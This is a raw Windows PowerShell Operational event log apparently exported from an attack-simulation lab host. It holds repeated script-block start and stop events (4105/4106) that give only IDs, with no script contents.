Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045867
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045866
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045865
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045864
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045863
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045862
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045861
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045860
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045859
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045858
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045857
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045856
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045855
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045854
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045853
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045852
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045851
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045850
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045849
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045848
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045847
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045846
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045845
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045844
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045843
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045842
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045841
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045840
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045839
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045838
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045837
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045836
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045835
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045834
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045833
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045832
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045831
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045830
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045829
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045828
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045827
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045826
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045825
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045824
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045823
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045822
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045821
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045820
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045819
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045818
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045817
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045816
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045815
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
